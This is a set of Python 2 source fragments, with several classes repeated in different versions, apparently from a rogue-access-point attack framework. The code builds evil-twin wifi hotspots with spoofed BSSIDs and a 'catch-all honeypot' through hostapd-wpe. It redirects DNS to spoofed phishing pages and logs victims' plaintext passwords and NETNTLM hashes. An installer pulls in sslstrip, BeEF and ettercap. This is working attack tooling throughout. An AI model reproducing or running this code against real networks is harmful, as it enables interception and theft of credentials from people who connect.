class DNSSpoofer(AirHostPlugin): def __init__(self, config): super(DNSSpoofer, self).__init__(config, "dnsspoofer") self.spoof_ip = self.config["spoof_ip"] self.hosts_config_path = self.config["hosts_conf"] spoofpages = self.config["spoof_pages"] self.spoofpages = spoofpages if type(spoofpages) is list else [spoofpages] self.captive_portal_mode = False self.httpserver_running = False self.httpserver = self._configure_http_server() self.file_handler = None def _configure_http_server(self): httpserver = None if self.config["httpserver"].lower() == "true": apache_config_path = self.config["apache_conf"] apache_root_path = self.config["apache_root"] ssl = self.config["ssl_on"].lower() == "true" overwrite = self.config["overwrite_pages"].lower() == "true" httpserver = HTTPServer(apache_config_path, apache_root_path, ssl, overwrite) try: if self.config["print_phishing_creds"].lower() == "true": httpserver.set_cred_file_keyword(self.config["creds_file_keyword"]) except: pass return httpserver def set_captive_portal_mode(self, captive_portal_mode): self.captive_portal_mode = captive_portal_mode def set_http_server(self, server): self.httpserver = server def has_http_server(self): return self.httpserver is not None def add_page_to_spoof(self, page_name): for page in os.listdir("data/spoofpages/"): if page_name in page: self.spoofpages.append(page) print "[+] Added '{page}' to spoof list".format(page = page) SessionManager().log_event(NeutralEvent("Added '{page}' to spoof list".format(page = page))) return print "[-] Page '{}' not found in 'data/spoofpages/' folder." def _cleanup_misconfigured_pages(self): pages = [] for page in self.spoofpages: for spoofpage in os.listdir("data/spoofpages/"): if page in spoofpage: pages.append(spoofpage) self.spoofpages = pages def map_spoofing_pages(self, redirection_ip): if self.file_handler: self.file_handler.restore_file() self.file_handler = FileHandler(self.hosts_config_path) self._cleanup_misconfigured_pages() conf_string = "" if self.captive_portal_mode: page = self.spoofpages[0] conf_string += "{ip}\t{domain}\t{alias}\n".format( ip = redirection_ip, domain = page, alias = "\t".join(self._create_alias_list(page))) conf_string += "{ip} *.*.*\n".format(ip = redirection_ip) print "[+] Mapped '{domain}' to {ip} as captive portal".format(domain = page, ip = redirection_ip) else: for page in self.spoofpages: conf_string += "{ip}\t{domain}\t{alias}\n".format( ip = redirection_ip, domain = page, alias = "\t".join(self._create_alias_list(page))) print "[+] Mapped '{domain}' to {ip}".format(domain = page, ip = redirection_ip) self.file_handler.write(conf_string) def setup_spoofing_pages(self): if not self.has_http_server(): print "[-] No HTTP Server added to DNSSpoofer, cannot setup spoofing" return False self._cleanup_misconfigured_pages() for page in self.spoofpages: self.httpserver.add_site(page) self.httpserver.configure_page_in_apache( domain_name = page, domain_alias = self._create_alias_list(page), captive_portal_mode = self.captive_portal_mode) def _create_alias_list(self, domain): aliases = [] splitted_domain = domain.split(".") if len(splitted_domain) >= 3: for i in range(len(splitted_domain) - 2): aliases.append(".".join(splitted_domain[i + 1:])) return aliases def start_spoofing(self, spoof_ip): if not self.has_http_server(): print "[-] No HTTP Server added to DNSSpoofer, cannot spoof pages" return False self.httpserver.reset_conf() self.map_spoofing_pages(spoof_ip) self.setup_spoofing_pages() self.httpserver.start_server() SessionManager().log_event(NeutralEvent("Sarted local HTTP Server.")) def stop_spoofing(self): if self.has_http_server(): self.httpserver.reset_conf() self.httpserver.start_server(False) def pre_start(self): self.start_spoofing(self.spoof_ip) def restore(self): self.stop_spoofing() self.file_handler.restore_file()
class DNSMasqHandler(object): def __init__(self, dnsmasq_config_path): self.dnsmasq_config_path = dnsmasq_config_path self.captive_portal_mode = False self.dnsmasq_running = False self.file_handler = None def set_captive_portal_mode(self, captive_portal_mode): self.captive_portal_mode = captive_portal_mode def write_dnsmasq_configurations(self, interface, ip_gw, dhcp_range=[], nameservers=[], virtInterfaces=0): # Argument cleanup if type(nameservers) is not list: nameservers = [nameservers] dhcp_range_string = "\ndhcp-range={interface}, {dhcp_start}, {dhcp_end}, 12h".format( interface=interface, dhcp_start=dhcp_range[0], dhcp_end=dhcp_range[1]) for i in range(virtInterfaces): dhcp_start = ".".join( dhcp_range[0].split(".")[0:2] + [str(int(dhcp_range[0].split(".")[2]) + i + 1)] + [dhcp_range[0].split(".")[3]]) dhcp_end = ".".join( dhcp_range[1].split(".")[0:2] + [str(int(dhcp_range[1].split(".")[2]) + i + 1)] + [dhcp_range[1].split(".")[3]]) dhcp_range_string += "\ndhcp-range={interface}_{index}, {dhcp_start}, {dhcp_end}, 12h".format( interface=interface, index=i, dhcp_start=dhcp_start, dhcp_end=dhcp_end) configurations = dedent(""" {dhcp_range} dhcp-option=3,{ip_gw} dhcp-option=6,{ip_gw} """.format(dhcp_range=dhcp_range_string, interface=interface, ip_gw=ip_gw)) configurations += "bind-interfaces\n" if self.captive_portal_mode: configurations += "no-resolv\n" configurations += "address=/#/{ip_gw}\n".format(ip_gw=ip_gw) else: for server in nameservers: configurations += "server={server}\n".format(server=server) return self._safe_write_config(configurations, self.dnsmasq_config_path) def _safe_write_config(self, configurations, config_path): if self.file_handler: self.file_handler.write(configurations) else: self.file_handler = FileHandler(config_path) self.file_handler.write(configurations) def start_dnsmasq(self): print "[+] Starting dnsmasq service" if not os.system('service dnsmasq restart') == 0: return False self.dnsmasq_running = True return True def stop_dnsmasq(self): os.system('service dnsmasq stop') os.system('pkill dnsmasq') # Cleanup self.dnsmasq_running = False def cleanup(self): if self.file_handler is not None: self.file_handler.restore_file()
print "[-] This tool is only supported by Debian systems" print "[-] You should have apt package manager installed." sys.exit(1) # Dependencies package_list = [ "python-scapy", "dnsmasq", "hostapd-wpe", "python-pyric", "--reinstall mitmproxy", "gnome-terminal", "mitmf", "beef-xss", "ettercap-common", "sslstrip" ] print "[+] Updating apt... (This may take a while)" os.system("apt-get update") print "[+] Apt successfully updated, preparing to install packages" for pkg in package_list: try: print "[+] Preparing to install '{}'".format(pkg) os.system("apt-get install -y {}".format(pkg)) if pkg == "python-pyric": print "[+] Upgrading Pyric version." os.system('pip install --upgrade PyRic') except Exception as e: print e print "[-] Installation of package '{}' failed.".format(pkg) install_scapy_community() apt_source_fhandler.restore_file()
class DNSMasqHandler(object): def __init__(self, dnsmasq_config_path): self.dnsmasq_config_path = dnsmasq_config_path self.captive_portal_mode = False self.dnsmasq_running = False self.file_handler = None def set_captive_portal_mode(self, captive_portal_mode): self.captive_portal_mode = captive_portal_mode def write_dnsmasq_configurations(self, interface, ip_gw, dhcp_range=[], nameservers=[]): # Argument cleanup if type(nameservers) is not list: nameservers = [nameservers] configurations = dedent(""" interface={interface} dhcp-range={dhcp_start}, {dhcp_end}, 12h dhcp-option=3,{ip_gw} dhcp-option=6,{ip_gw} """.format(interface=interface, ip_gw=ip_gw, dhcp_start=dhcp_range[0], dhcp_end=dhcp_range[1])) if self.captive_portal_mode: configurations += "no-resolv\n" configurations += "address=/#/{ip_gw}\n".format(ip_gw=ip_gw) else: for server in nameservers: configurations += "server={server}\n".format(server=server) return self._safe_write_config(configurations, self.dnsmasq_config_path) def _safe_write_config(self, configurations, config_path): if self.file_handler: self.file_handler.write(configurations) else: self.file_handler = FileHandler(config_path) self.file_handler.write(configurations) def start_dnsmasq(self): print "[+] Starting dnsmasq service" if not os.system('service dnsmasq start') == 0: return False self.dnsmasq_running = True return True def stop_dnsmasq(self): os.system('service dnsmasq stop') os.system('pkill dnsmasq') # Cleanup self.dnsmasq_running = False def cleanup(self): self.file_handler.restore_file()
class APLauncher(object): def __init__(self, hostapd_config_path): self.hostapd_config_path = hostapd_config_path self.ap_running = False self.ap_process = None self.credential_printer = None self.connected_clients_updator = None self.connected_clients = [] self.file_handler = None self.print_creds = False # TODO: Add support for multiple SSIDs! def write_hostapd_configurations(self, interface="wlan0", ssid=None, bssid=None, channel="1", hw_mode="g", encryption=None, auth="PSK", cipher="CCMP", password=None): self.cleanup() try: self.file_handler = FileHandler(self.hostapd_config_path, backup=False) except Exception as e: print e return False configurations = dedent(""" interface={interface} ssid={ssid} driver=nl80211 channel={channel} hw_mode={hw_mode} ignore_broadcast_ssid=0 """.format(interface=interface, ssid=ssid, channel=channel, hw_mode=hw_mode)) # Spoof bssid from other access points if bssid: configurations += "bssid={bssid}\n".format(bssid=bssid) # May even want to mirror the encryption type and key # so hosts can automatically connect if it is a known network if encryption: encryption = encryption.lower() if ("wpa" in encryption): configurations += self._get_wpa_configurations( encryption, auth, cipher, password) elif encryption == "wep": configurations += self._get_wpe_configurations(password) self.file_handler.write(configurations) return True def _get_wpe_configurations(self, password): configurations = "" if (len(password) == 5 or len(password) == 13 or len(password) == 16): configurations += "wep_default_key=0\n" configurations += "wep_key0=\"{key}\"".format(key=password) elif (len(password) == 10 or len(password) == 23): configurations += "wep_default_key=0\n" configurations += "wep_key0={key}".format(key=password) else: error_msg = "WEP key must be either 5, 8, 13 ascii charachters or 10 or 23 HEX charachters.\n" raise InvalidConfigurationException(error_msg) return configurations def _get_wpa_configurations(self, encryption, auth, cipher, password): configurations = "" wpa_int = 1 # Check if input is 'wpa/wpa2' if "/" in encryption: encryption = encryption.split("/") # wpa=1 -> wpa, wpa=2 -> wpa2, wpa=3 -> wpa/wpa2 if "wpa2" in encryption: wpa_int += 1 if "wpa" in encryption and "wpa2" in encryption: wpa_int += 1 elif encryption == "wpa2": wpa_int += 1 configurations += "wpa={wpa_int}\n".format( wpa_int=wpa_int) # configure wpa or wpa2 configurations += "wpa_key_mgmt=WPA-{auth}\n".format( auth=auth.upper()) # authentication method: PSK or EAP configurations += "wpa_pairwise={cipher}\n".format( cipher=cipher.upper()) # cipher: CCMP or TKIP if auth.lower() == "eap": configurations += self._get_wpa_eap_configurations(configurations) else: configurations += self._get_and_check_wpa_password_configurations( configurations, password) return configurations def _get_wpa_eap_configurations(self, configurations): configurations = "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user\n" configurations += "ca_cert=/etc/hostapd-wpe//certs/certnew.cer\n" configurations += "server_cert=/etc/hostapd-wpe/certs/server.crt\n" configurations += "private_key=/etc/hostapd-wpe/certs/server.pem\n" configurations += "private_key_passwd=whatever\n" configurations += "dh_file=/etc/hostapd-wpe/certs/dh\n" configurations += "eap_server=1\n" configurations += "eap_fast_a_id=101112131415161718191a1b1c1d1e1f\n" configurations += "eap_fast_a_id_info=hostapd-wpe\n" configurations += "eap_fast_prov=3\n" configurations += "ieee8021x=1\n" configurations += "pac_key_lifetime=604800\n" configurations += "pac_key_refresh_time=86400\n" configurations += "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f\n" #configurations += "wpe_logfile=./data/hashes/eap_hashes{}.log\n".format(self._count_hash_captures()) configurations += "auth_algs=3\n" return configurations def _get_and_check_wpa_password_configurations(self, configurations, password): if password is None: raise InvalidConfigurationException( "Must specify a password when choosing wpa or wpa2 encryption!\n" ) if len(password) < 8 or len(password) > 63: raise InvalidConfigurationException( "Specified password must have at least 8 printable digits and a maximum of 63\n" ) configurations = "wpa_passphrase={password}\n".format( password=password) # password minimum is 8 digits return configurations def start_access_point(self, interface): print "[+] Starting hostapd background process" self.ap_process = Popen("hostapd-wpe -s {config_path}".format( config_path=self.hostapd_config_path).split(), stdout=PIPE, stderr=PIPE, universal_newlines=True) Thread(target=self._async_cred_logging, args=("./data/hashes/eap_hashes{}.log".format( self._count_hash_captures()), self.print_creds)).start() self.ap_running = True self.connected_clients_updator = Thread( target=self.update_connected_clients, args=(interface, )) self.connected_clients_updator.start() def _async_cred_logging(self, log_file, print_creds=False): """ This method checks for credentials in hostapd-wpe output """ log_file = open(log_file, "a") output_lines = iter(self.ap_process.stdout.readline, "") incoming_cred = False username = "" password = "" jtr_challenge_response = "" for line in output_lines: if "username:"******"username:"******"password:"******"password:"******":" + password + "\n" log_file.write(cred_string) if print_creds: print cred_string if "NETNTLM:" in line: incoming_cred = False jtr_challenge_response = line.split("NETNTLM:")[-1].strip() log_file.write(jtr_challenge_response + "\n") if print_creds: print jtr_challenge_response + "\n" try: log_file.close() self.ap_process.stdout.close() except: pass def stop_access_point(self, wait=True): if self.ap_process != None: print "[+] Killing hostapd background process" self.ap_process.send_signal( 9) # Send SIGINT to process running hostapd self.ap_process = None os.system('pkill hostapd-wpe') # Cleanup self.ap_running = False if self.connected_clients_updator != None: if wait: self.connected_clients_updator.join() self.connected_clients_updator = None def cleanup(self): if self.file_handler: self.file_handler.restore_file() self.file_handler = None def update_connected_clients(self, interface): fail_count = 0 while self.ap_running: if not self._parse_connected_clients(interface): fail_count += 1 if fail_count > 3: print "[-] hostapd was unable to start the access point," print "check configuration file or try restarting. Stopping now." self.stop_access_point(wait=False) print "stop airhost manually to stop other services" break sleep(3) def _parse_connected_clients(self, interface): try: if not pyw.modeget(pyw.getcard(interface)) == 'AP': print "[-] '{}' is not on AP mode".format(interface) return False except Exception: return False client_dump = check_output("iw dev {} station dump".format( interface).split()).split('Station') client_dump = [ map(str.strip, client.split("\n")) for client in client_dump if interface in client ] temp_clients = [] # At this point a client is a list of arguments to be parsed for client in client_dump: client_mac = client[0].split()[0].strip() client_name, client_ip = self._get_ip_from_mac( interface, client_mac) inactivity_time = client[1].split(":")[1].strip() rx_packets = client[3].split(":")[1].strip() tx_packets = client[5].split(":")[1].strip() signal = client[8].split(":")[1].strip() tx_bitrate = client[10].split(":")[1].strip() rx_bitrate = client[11].split(":")[1].strip() id = len(temp_clients) client = Client(id, client_name, client_mac, client_ip, inactivity_time, rx_packets, tx_packets, rx_bitrate, tx_bitrate, signal) if client not in self.connected_clients: print "[+] New connected client with -> ip: {ip}, mac: {mac} ({vendor})".format( ip=client_ip, mac=client_mac, vendor=client.vendor) temp_clients.append(client) self.connected_clients = temp_clients return True def _get_ip_from_mac(self, interface, mac): arp_output = check_output( "arp -a -i {}".format(interface).split()).split("\n") for line in arp_output: if mac.lower() in line.lower(): try: device_name, device_ip = map(str.strip, (line.split()[0:2])) device_ip = device_ip[ 1: -1] # Cut the enclosing parenthesis off: (0.0.0.0) -> 0.0.0.0 return (device_name, device_ip) except Exception as e: print e print "[-] Problem occurred while parsing arp output." return (None, None) def _count_hash_captures(self): return len(os.listdir("data/hashes/"))
class DNSMasqHandler(object): def __init__(self, dnsmasq_config_path): self.dnsmasq_config_path = dnsmasq_config_path self.captive_portal_mode = False self.dnsmasq_running = False self.file_handler = None def set_captive_portal_mode(self, captive_portal_mode): self.captive_portal_mode = captive_portal_mode def write_dnsmasq_configurations(self, interface, ip_gw, dhcp_range=[], nameservers=[], virtInterfaces = 0): # Argument cleanup if type(nameservers) is not list: nameservers = [nameservers] dhcp_range_string = "\ndhcp-range={interface}, {dhcp_start}, {dhcp_end}, 12h".format(interface = interface, dhcp_start = dhcp_range[0], dhcp_end = dhcp_range[1]) for i in range(virtInterfaces): dhcp_start = ".".join(dhcp_range[0].split(".")[0:2] + [str(int(dhcp_range[0].split(".")[2]) + i + 1)] + [dhcp_range[0].split(".")[3]]) dhcp_end = ".".join(dhcp_range[1].split(".")[0:2] + [str(int(dhcp_range[1].split(".")[2]) + i + 1)] + [dhcp_range[1].split(".")[3]]) dhcp_range_string += "\ndhcp-range={interface}_{index}, {dhcp_start}, {dhcp_end}, 12h".format( interface = interface, index = i, dhcp_start = dhcp_start, dhcp_end = dhcp_end) configurations = dedent(""" {dhcp_range} dhcp-option=3,{ip_gw} dhcp-option=6,{ip_gw} """.format( dhcp_range = dhcp_range_string, interface = interface, ip_gw = ip_gw)) configurations += "bind-interfaces\n" if self.captive_portal_mode: configurations += "no-resolv\n" configurations += "address=/#/{ip_gw}\n".format(ip_gw = ip_gw) else: for server in nameservers: configurations += "server={server}\n".format(server = server) return self._safe_write_config(configurations, self.dnsmasq_config_path) def _safe_write_config(self, configurations, config_path): if self.file_handler: self.file_handler.write(configurations) else: self.file_handler = FileHandler(config_path) self.file_handler.write(configurations) def start_dnsmasq(self): print "[+] Starting dnsmasq service" if not os.system('service dnsmasq restart') == 0: return False self.dnsmasq_running = True return True def stop_dnsmasq(self): os.system('service dnsmasq stop') os.system('pkill dnsmasq') # Cleanup self.dnsmasq_running = False def cleanup(self): if self.file_handler is not None: self.file_handler.restore_file()
class APLauncher(object): def __init__(self, hostapd_config_path): self.hostapd_config_path = hostapd_config_path self.ap_running = False self.ap_process = None self.connected_clients_updator = None self.connected_clients = {} # interface: client_list self.hostapd_output_parser = None self.file_handler = None self.print_creds = False def write_hostapd_configurations(self, interface="wlan0", ssid=None, bssid=None, channel="1", hw_mode="g", encryption="OPN", auth="PSK", cipher="CCMP", password=None, catch_all_honeypot=False): """ This method writes the configuration file of hostapd. According to the inputs the configuration file is written is different ways. One can use multiple SSIDs in order to launche more than one access point. If the 'catch_all_honeypot' flag is set to 'True' then the first SSID is chosen as the "catch all honeypot" SSID. """ self.cleanup() try: self.file_handler = FileHandler(self.hostapd_config_path, backup=False) except Exception as e: print e return False ssids = None encryptions = None auths = None passwords = None ssids, encryptions, auths, passwords = self._parse_configs( ssid, encryption, auth, password) if ssids: ssid, encryption, auth, password = ssids[0], encryptions[0], auths[ 0], passwords[0] configurations = dedent(""" interface={interface} ssid={ssid} driver=nl80211 channel={channel} hw_mode={hw_mode} ignore_broadcast_ssid=0 ieee80211n=1 wmm_enabled=1 """.format(interface=interface, ssid=ssid, channel=channel, hw_mode=hw_mode)) if catch_all_honeypot: configurations = self._get_catch_all_honeypot_configurations( configurations, interface, ssid, bssid) else: configurations = self._get_multiple_ssid_configurations( configurations, interface, bssid, ssids, encryptions, auths, cipher, passwords) self.file_handler.write(configurations) return True def _get_catch_all_honeypot_configurations(self, configurations, interface, ssid, bssid): """This method writes 'catch-all' honeypot configurations on the hostapd configuration file.""" # hostapd can automatically create sub bssids if last byte is set to 0 if bssid: bssid = bssid[:-1] + "0" configurations += "bssid={bssid}\n".format(bssid=bssid) + "\n" # Adding WEP configurations configurations += "bss={}_0\n".format(interface) configurations += "ssid={}\n".format(ssid) configurations += self._get_wep_configurations("12345") + "\n" # Adding WPA-PSK configurations configurations += "bss={}_1\n".format(interface) configurations += "ssid={}\n".format(ssid) configurations += self._get_wpa_configurations( "wpa/wpa2", "PSK", "CCMP", "12345678") + "\n" # Adding WPA-EAP configurations configurations += "bss={}_2\n".format(interface) configurations += "ssid={}\n".format(ssid) configurations += self._get_wpa_configurations("wpa/wpa2", "EAP", "CCMP", None) + "\n" return configurations def _get_multiple_ssid_configurations(self, configurations, interface, bssid=None, ssids=[], encryptions=[], auths=[], cipher="CCMP", passwords=[]): """This method adds configuration lines for multiple netowrks to the configuration string.""" # hostapd can automatically create sub bssids if last byte is set to 0 if bssid: bssid = bssid[:-1] + "0" configurations += "bssid={bssid}\n".format(bssid=bssid) + "\n" ssid_encryption = [] if len(ssids) == len(encryptions) == len(auths) == len(passwords): ssid_encryption = zip(ssids, encryptions, auths, passwords) else: for ssid in ssids: ssid_encryption.append( (ssid, encryptions[0], auths[0], passwords[0])) if ssid_encryption: counter = 0 for ssid, encryption, auth, password in ssid_encryption: if counter > 0: configurations += "bss={}_{}\n".format( interface, counter - 1) configurations += "ssid={}\n".format(ssid) if "opn" in encryption.lower(): configurations += "\n" elif "wep" in encryption.lower(): valid_lengths = [5, 10, 13, 16, 23] if len(password) not in valid_lengths: print "[-] Invalid WEP key length for multiple ssid hotspot: '{}'\ \nDefaulting WEP key to '12345'".format( password) password = "******" configurations += self._get_wep_configurations( password) + "\n" elif "wpa" in encryption.lower(): if not len(password) >= 8 and "eap" not in auth.lower(): print "[-] Invalid WPA key length: '{}'\nDefaulting to '12346578'".format( password) password = "******" # Forcing correct configuration so it doesnt come out WPA-WEP or something... if auth.lower() not in ["psk", "eap"]: auth = "PSK" if cipher.lower() not in ["tkip", "ccmp", "tkip/ccmp"]: cipher = "CCMP" configurations += self._get_wpa_configurations( encryption, auth, cipher, password) + "\n" counter += 1 return configurations def _get_wep_configurations(self, password): configurations = "" if (len(password) == 5 or len(password) == 13 or len(password) == 16): configurations += "wep_default_key=0\n" configurations += "wep_key0=\"{key}\"".format(key=password) elif (len(password) == 10 or len(password) == 23): configurations += "wep_default_key=0\n" configurations += "wep_key0={key}\n".format(key=password) else: error_msg = "WEP key must be either 5, 13, 16 ascii charachters or 10 or 23 HEX charachters.\n" raise InvalidConfigurationException(error_msg) return configurations def _get_wpa_configurations(self, encryption, auth, cipher, password): configurations = "" wpa_int = 1 # Check if input is 'wpa/wpa2' if "/" in encryption: encryption = encryption.split("/") # wpa=1 -> wpa, wpa=2 -> wpa2, wpa=3 -> wpa/wpa2 if "wpa2" in encryption: wpa_int += 1 if "wpa" in encryption and "wpa2" in encryption: wpa_int += 1 elif encryption == "wpa2": wpa_int += 1 configurations += "wpa={wpa_int}\n".format( wpa_int=wpa_int) # configure wpa or wpa2 configurations += "wpa_key_mgmt=WPA-{auth}\n".format( auth=auth.upper()) # authentication method: PSK or EAP configurations += "wpa_pairwise={cipher}\n".format( cipher=cipher.upper()) # cipher: CCMP or TKIP if auth.lower() == "eap": configurations += self._get_wpa_eap_configurations() else: configurations += self._get_and_check_wpa_password_configurations( configurations, password) return configurations def _get_wpa_eap_configurations(self): configurations = "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user\n" configurations += "ca_cert=/etc/hostapd-wpe//certs/certnew.cer\n" configurations += "server_cert=/etc/hostapd-wpe/certs/server.crt\n" configurations += "private_key=/etc/hostapd-wpe/certs/server.pem\n" configurations += "private_key_passwd=whatever\n" configurations += "dh_file=/etc/hostapd-wpe/certs/dh\n" configurations += "eap_server=1\n" configurations += "eap_fast_a_id=101112131415161718191a1b1c1d1e1f\n" configurations += "eap_fast_a_id_info=hostapd-wpe\n" configurations += "eap_fast_prov=3\n" configurations += "ieee8021x=1\n" configurations += "pac_key_lifetime=604800\n" configurations += "pac_key_refresh_time=86400\n" configurations += "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f\n" configurations += "auth_algs=3\n" return configurations def _get_and_check_wpa_password_configurations(self, configurations, password): if password is None: raise InvalidConfigurationException( "Must specify a password when choosing wpa or wpa2 encryption!\n" ) if len(password) < 8 or len(password) > 63: raise InvalidConfigurationException( "Specified password must have at least 8 printable charachters \ and a maximum of 63\n") configurations = "wpa_passphrase={password}\n".format( password=password) # password minimum is 8 digits return configurations def _parse_configs(self, ssid, encryption, auth, password): ssids, encryptions, auths, passwords = None, None, None, None if type(ssid) is list: ssids = ssid # Be aware of multiple ssids elif type(ssid) is str: ssids = [ssid] # Specify encryption for each ssid, # if encryption list is different size from ssid list then it defaults to the first one if type(encryption) is list: if len(encryption) == len(ssids): encryptions = encryption else: encryptions = [encryption[0]] elif type(encryption) is str: encryptions = [encryption] # Same thing for auth suites and passwords if type(auth) is list: if len(auth) == len(encryptions): auths = auth else: auths = [auth[0]] elif type(auth) is str: auths = [auth] if type(password) is list: if len(password) == len(auths): passwords = password else: passwords = [password[0]] elif type(auth) is str: passwords = [password] return ssids, encryptions, auths, passwords def _async_cred_logging(self, log_file_path, print_creds=False): """This method checks for credentials in hostapd-wpe output.""" log_file = None file_open = False output_lines = iter(self.ap_process.stdout.readline, "") incoming_cred = False username = "" password = "" jtr_challenge_response = "" for line in output_lines: if "username:"******"username:"******"a") file_open = True if "password:"******"password:"******":" + password + "\n" log_file.write(cred_string) SessionManager().log_event( SuccessfulEvent( "Got plain text password from '{}'".format(username))) if print_creds: print cred_string if "NETNTLM:" in line: incoming_cred = False jtr_challenge_response = line.split("NETNTLM:")[-1].strip() log_file.write(jtr_challenge_response + "\n") SessionManager().log_event( SuccessfulEvent("Got EAP hash from '{}'".format(username))) if print_creds: print jtr_challenge_response + "\n" if file_open and not incoming_cred: log_file.close() try: self.ap_process.stdout.close() log_file.close() except: pass def start_access_point(self, interface): """ This method launches the preconfigures hostapd background process. It launches hostapd-wpe background process with Popen and sends its output to a thread which looks for found credentials. Another thread is started to monitor the connected client list. """ print "[+] Starting hostapd background process" self.ap_process = Popen("hostapd-wpe -s {config_path}".format( config_path=self.hostapd_config_path).split(), stdout=PIPE, stderr=PIPE, universal_newlines=True) self.hostapd_output_parser = Thread( target=self._async_cred_logging, args=("./data/hashes/eap_hashes{}.log".format( self._count_hash_captures()), self.print_creds)) self.hostapd_output_parser.start() self.ap_running = True sleep(1) self.connected_clients_updator = Thread( target=self._update_connected_clients, args=(interface, )) self.connected_clients_updator.start() def stop_access_point(self, wait=True): """ This method stops the previously created access point. It sends SIGINT to the background hostapd process and turns off dnsmasq. """ if self.ap_process is not None: print "[+] Killing hostapd background process" self.ap_process.send_signal( 9) # Send SIGINT to process running hostapd self.ap_process = None os.system('pkill hostapd-wpe') # Cleanup self.ap_running = False if self.connected_clients_updator is not None: if wait: self.connected_clients_updator.join() self.connected_clients_updator = None def cleanup(self): """Global cleanup method.""" if self.file_handler: self.file_handler.restore_file() self.file_handler = None def get_connected_clients(self): """Returns the list of client objects that are connected to the access point.""" return [ client for ssid in self.connected_clients.keys() for client in self.connected_clients[ssid] ] def _update_connected_clients(self, interface): fail_count = 0 while self.ap_running: # Gets virtual interfaces too because their name is same as ap_interface with _<index> appended ap_interfaces = [ iface for iface in pyw.winterfaces() if interface in iface ] for ap_interface in ap_interfaces: if not self._parse_connected_clients(ap_interface): fail_count += 1 if fail_count > 5: print "[-] hostapd was unable to start the access point," print "check configuration file or try restarting. Stopping now." self.stop_access_point(wait=False) print "stop airhost manually to stop other services" break sleep(3) def _parse_connected_clients(self, interface): try: if not pyw.modeget(pyw.getcard(interface)) == 'AP': print "[-] '{}' is not on AP mode".format(interface) return False except Exception: return False client_dump = check_output("iw dev {} station dump".format( interface).split()).split('Station') client_dump = [ map(str.strip, client.split("\n")) for client in client_dump if interface in client ] ssid = NetUtils().get_ssid_from_interface(interface) temp_clients = [] # At this point a client is a list of arguments to be parsed for client in client_dump: client_mac = client[0].split()[0].strip() client_name, client_ip = NetUtils().get_ip_from_mac( interface, client_mac) inactivity_time = client[1].split(":")[1].strip() rx_packets = client[3].split(":")[1].strip() tx_packets = client[5].split(":")[1].strip() signal = client[8].split(":")[1].strip() tx_bitrate = client[10].split(":")[1].strip() rx_bitrate = client[11].split(":")[1].strip() id = len(temp_clients) client = Client(id, client_name, client_mac, client_ip, ssid, inactivity_time, rx_packets, tx_packets, rx_bitrate, tx_bitrate, signal) try: if client not in self.connected_clients[interface]: connected_client_str = "New connected client on '{ssid}'-> ip: {ip}, mac: {mac} ({vendor})"\ .format(ssid=ssid, ip=client_ip, mac=client_mac, vendor=client.vendor) SessionManager().log_event( SuccessfulEvent(connected_client_str)) print "[+]", connected_client_str except: pass temp_clients.append(client) self.connected_clients[interface] = temp_clients return True def _count_hash_captures(self): return len(os.listdir("data/hashes/"))
class DNSSpoofer(AirHostPlugin): def __init__(self, spoof_ip, hosts_config_path, httpserver=None, spoofpages=[]): super(DNSSpoofer, self).__init__() self.spoof_ip = spoof_ip self.hosts_config_path = hosts_config_path self.spoofpages = spoofpages if type(spoofpages) is list else [ spoofpages ] self.captive_portal_mode = False self.httpserver_running = False self.httpserver = httpserver self.file_handler = None def set_captive_portal_mode(self, captive_portal_mode): self.captive_portal_mode = captive_portal_mode def set_http_server(self, server): self.httpserver = server def has_http_server(self): return self.httpserver != None def add_page_to_spoof(self, page_name): for page in os.listdir("data/spoofpages/"): if page_name in page: self.spoofpages.append(page) print "[+] Added {page} to spoof list".format(page=page) return print "[-] Page '{}' not found in 'data/spoofpages/' folder." def _cleanup_misconfigured_pages(self): pages = [] for page in self.spoofpages: for spoofpage in os.listdir("data/spoofpages/"): if page in spoofpage: pages.append(spoofpage) self.spoofpages = pages def map_spoofing_pages(self, redirection_ip): if self.file_handler: self.file_handler.restore_file() self.file_handler = FileHandler(self.hosts_config_path) self._cleanup_misconfigured_pages() conf_string = "" if self.captive_portal_mode: page = self.spoofpages[0] conf_string += "{ip}\t{domain}\t{alias}\n".format( ip=redirection_ip, domain=page, alias="\t".join(self._create_alias_list(page))) conf_string += "{ip} *.*.*\n".format(ip=redirection_ip) print "[+] Mapped '{domain}' to {ip} as captive portal".format( domain=page, ip=redirection_ip) else: for page in self.spoofpages: conf_string += "{ip}\t{domain}\t{alias}\n".format( ip=redirection_ip, domain=page, alias="\t".join(self._create_alias_list(page))) print "[+] Mapped '{domain}' to {ip}".format(domain=page, ip=redirection_ip) self.file_handler.write(conf_string) def setup_spoofing_pages(self): if not self.has_http_server(): print "[-] No HTTP Server added to DNSSpoofer, cannot setup spoofing" return False self._cleanup_misconfigured_pages() for page in self.spoofpages: self.httpserver.add_site(page) self.httpserver.configure_page_in_apache( domain_name=page, domain_alias=self._create_alias_list(page), captive_portal_mode=self.captive_portal_mode) return self.httpserver.start_server(True) def _create_alias_list(self, domain): aliases = [] splitted_domain = domain.split(".") if len(splitted_domain) >= 3: for i in range(len(splitted_domain) - 2): aliases.append(".".join(splitted_domain[i + 1:])) return aliases def start_spoofing(self, spoof_ip): if not self.has_http_server(): print "[-] No HTTP Server added to DNSSpoofer, cannot spoof pages" return False self.httpserver.reset_conf() self.map_spoofing_pages(spoof_ip) self.setup_spoofing_pages() self.httpserver.start_server() def stop_spoofing(self): if self.has_http_server(): self.httpserver.reset_conf() self.httpserver.start_server(False) def start(self): self.start_spoofing(self.spoof_ip) def restore(self): self.stop_spoofing() self.file_handler.restore_file()